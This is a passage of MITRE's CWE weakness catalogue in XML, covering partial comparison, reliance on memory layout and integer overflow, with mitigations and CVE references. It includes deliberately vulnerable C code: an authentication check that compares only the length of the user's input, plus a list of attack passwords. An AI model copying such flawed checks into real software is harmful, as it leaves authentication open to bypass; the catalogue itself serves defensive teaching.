				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>184</Relationship_Target_ID>
					          <!--Incomplete Blacklist-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>183</Relationship_Target_ID>
					          <!--Permissive Whitelist-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Can overlap whitelist/blacklist errors.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Regular expressions can become error prone when defining a complex
							language even for those experienced in writing grammars. Determine if
							several smaller regular expressions simplify one large regular
							expression. Also, subject your regular expression to thorough testing
							techniques such as equivalence partitioning, boundary value analysis,
							and robustness. After testing and a reasonable confidence level is
							achieved, a regular expression may not be foolproof. If an exploit is
							allowed to slip through, then record the exploit and refactor your
							regular expression.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1604</Observed_Example_Reference>
					          <Observed_Example_Description>MIE. ".php.ns" bypasses ".php$" regexp but is
						still parsed as PHP by Apache. (manipulates an equivalence property under
						Apache)</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Overly Restrictive Regular Expression</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="187" Name="Partial Comparison" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software performs a comparison that only examines a portion
					of a factor before determining whether there is a match, such as a substring,
					leading to resultant weaknesses.</Description_Summary>
				        <Extended_Description>
					          <Text>For example, an attacker might succeed in authentication by providing a
						small password that matches the associated portion of the larger, correct
						password.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is conceptually similar to other weaknesses, such as insufficient
						verification and regular expression errors. It is primary to some
						weaknesses.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Thoroughly test the comparison scheme before deploying code into
							production. Perform positive testing as well as negative testing.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example defines a fixed username and password. The
						AuthenticateUser() function is intended to accept a username and a password
						from an untrusted user, and check to ensure that it matches the username and
						password. If the username and password match, AuthenticateUser() is intended
						to indicate that authentication succeeded. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Comment>/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of
								password system for authentication) for this example. */</Comment>
							              <Code/>
							              <Code>char *username = "admin";</Code>
							              <Code>char *pass = "password";</Code>
							              <Code/>
							              <Code>int AuthenticateUser(char *inUser, char *inPass) {</Code>
							              <Block>
								                <Code>if (strncmp(username, inUser, strlen(inUser))) {</Code>
								                <Block>
									                  <Code>logEvent("Auth failure of username using strlen of
										inUser");</Code>
									                  <Code>return(AUTH_FAIL);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>if (! strncmp(pass, inPass, strlen(inPass))) {</Code>
								                <Block>
									                  <Code>logEvent("Auth success of password using strlen of
										inUser");</Code>
									                  <Code>return(AUTH_SUCCESS);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>logEvent("Auth fail of password using sizeof");</Code>
									                  <Code>return(AUTH_FAIL);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main (int argc, char **argv) {</Code>
							              <Block>
								                <Code>int authResult;</Code>
								                <Code/>
								                <Code>if (argc &lt; 3) {</Code>
								                <Block>
									                  <Code>ExitError("Usage: Provide a username and
										password");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>authResult = AuthenticateUser(argv[1], argv[2]);</Code>
								                <Code>if (authResult == AUTH_SUCCESS) {</Code>
								                <Block>
									                  <Code>DoAuthenticatedTask(argv[1]);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code> else {</Code>
								                <Block>
									                  <Code>ExitError("Authentication failed");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In AuthenticateUser(), the strncmp() call uses the string length of an
							attacker-provided inPass parameter in order to determine how many
							characters to check in the password. So, if the attacker only provides a
							password of length 1, the check will only examine the first byte of the
							application's password before determining success.</Text>
						            <Text> As a result, this partial comparison leads to improper authentication
							(CWE-287).</Text>
						            <Text> Any of these passwords would still cause authentication to succeed
							for the "admin" user:</Text>
						            <Block Block_Nature="Attack">
							              <Code>p</Code>
							              <Code>pa</Code>
							              <Code>pas</Code>
							              <Code>pass</Code>
						            </Block>
						            <Text>This significantly reduces the search space for an attacker, making
							brute force attacks more feasible.</Text>
						            <Text> The same problem also applies to the username, so values such as "a"
							and "adm" will succeed for the username.</Text>
						            <Text> While this demonstrative example may not seem realistic, see the
							Observed Examples for CVE entries that effectively reflect this same
							weakness.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1012</Observed_Example_Reference>
					          <Observed_Example_Description>Argument parser of an IMAP server treats a partial
						command "body[p" as if it is "body.peek", leading to index error and
						out-of-bounds corruption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0765</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser only checks the hostname portion of a
						certificate when the hostname portion of the URI is not a fully qualified
						domain name (FQDN), which allows remote attackers to spoof trusted
						certificates.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1374</Observed_Example_Reference>
					          <Observed_Example_Description>One-character password by attacker checks only
						against first character of real password.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0979</Observed_Example_Reference>
					          <Observed_Example_Description>One-character password by attacker checks only
						against first character of real password.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Partial Comparison</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						Other_Notes, Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="188" Name="Reliance on Data/Memory Layout" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software makes invalid assumptions about how protocol data
					or memory is organized at a lower level, resulting in unintended program
					behavior.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>758</Relationship_Target_ID>
					          <!--Reliance on Undefined, Unspecified, or Implementation-Defined Behavior-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>435</Relationship_Target_ID>
					          <!--Interaction Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>137</Relationship_Target_ID>
					          <!--Representation Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>When changing platforms or protocol versions, data may move in unintended
						ways. For example, some architectures may place local variables a and b
						right next to each other with a on top; some may place them next to each
						other with b on top; and others may add some padding to each. This ensured
						that each variable is aligned to a proper word size. In protocol
						implementations, it is common to offset relative to another field to pick
						out a specific piece of data. Exceptional conditions -- often involving new
						protocol versions -- may add corner cases that lead to the data layout
						changing in an unusual way. The result can be that an implementation
						accesses a particular part of a packet, treating data of one type as data of
						another type.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Can result in unintended modifications or exposure of sensitive
							memory.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In flat address space situations, never
							allow computing memory addresses as offsets from another memory
							address.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Fully specify protocol layout unambiguously, providing a structured
							grammar (e.g., a compilable yacc grammar).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Testing: Test that the implementation properly handles each case in
							the protocol grammar.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void example() {</Code>
							              <Block>
								                <Code>char a;</Code>
								                <Code>char b;</Code>
								                <Code>*(&amp;a + 1) = 0;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Here, b may not be one byte past a. It may be one byte in front of a.
							Or, they may have three bytes between them because they get aligned to
							32-bit boundaries.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Structure Padding", Page 284.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Reliance on data layout</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Reliance on Data
						Layout</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="190" Name="Integer Overflow or Wraparound" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software performs a calculation that can produce an integer
					overflow or wraparound, when the logic assumes that the resulting value will
					always be larger than the original value. This can introduce other weaknesses
					when the calculation is used for resource management or execution
					control.</Description_Summary>
				        <Extended_Description>
					          <Text>An integer overflow or wraparound occurs when an integer value is
						incremented to a value that is too large to store in the associated
						representation. When this occurs, the value may wrap to become a very small
						or negative number. While this may be intended behavior in circumstances
						that rely on wrapping, it can have security consequences if the wrap is
						unexpected. This is especially the case if the integer overflow can be
						triggered using user-supplied inputs. This becomes security-critical when
						the result is used to control looping, make a security decision, or
						determine the offset or size in behaviors such as memory allocation,
						copying, concatenation, etc.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>865</Relationship_Target_ID>
					          <!--2011 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Chains>
						            <Relationship_Chain_ID>680</Relationship_Chain_ID>
					          </Relationship_Chains>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Integer overflows can be primary to buffer overflows.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>"Integer overflow" is sometimes used to cover several types of errors,
						including signedness errors, or buffer overflows that involve manipulation
						of integer data types instead of characters. Part of the confusion results
						from the fact that 0xffffffff is -1 in a signed context. Other confusion
						also arises because of the role that integer overflows have in
						chains.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness will generally lead to undefined behavior and therefore
							crashes. In the case of overflows involving loop index variables, the
							likelihood of infinite loops is also high.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the value in question is important to data (as opposed to flow),
							simple data corruption has occurred. Also, if the wrap around results in
							other conditions such as buffer overflows, further memory corruption may
							occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can sometimes trigger buffer overflows which can be used
							to execute arbitrary code. This is usually outside the scope of a
							program's implicit security policy.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Sometimes, evidence of this weakness can be detected using dynamic
							tools and techniques that interact with the software using large test
							suites with many diverse inputs, such as fuzz testing (fuzzing),
							robustness testing, and fault injection. The software's operation may
							slow down, but it should not become unstable, crash, or generate
							incorrect results.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>Without visibility into the code, black box methods may not be able to
							sufficiently distinguish this weakness from others, requiring follow-up
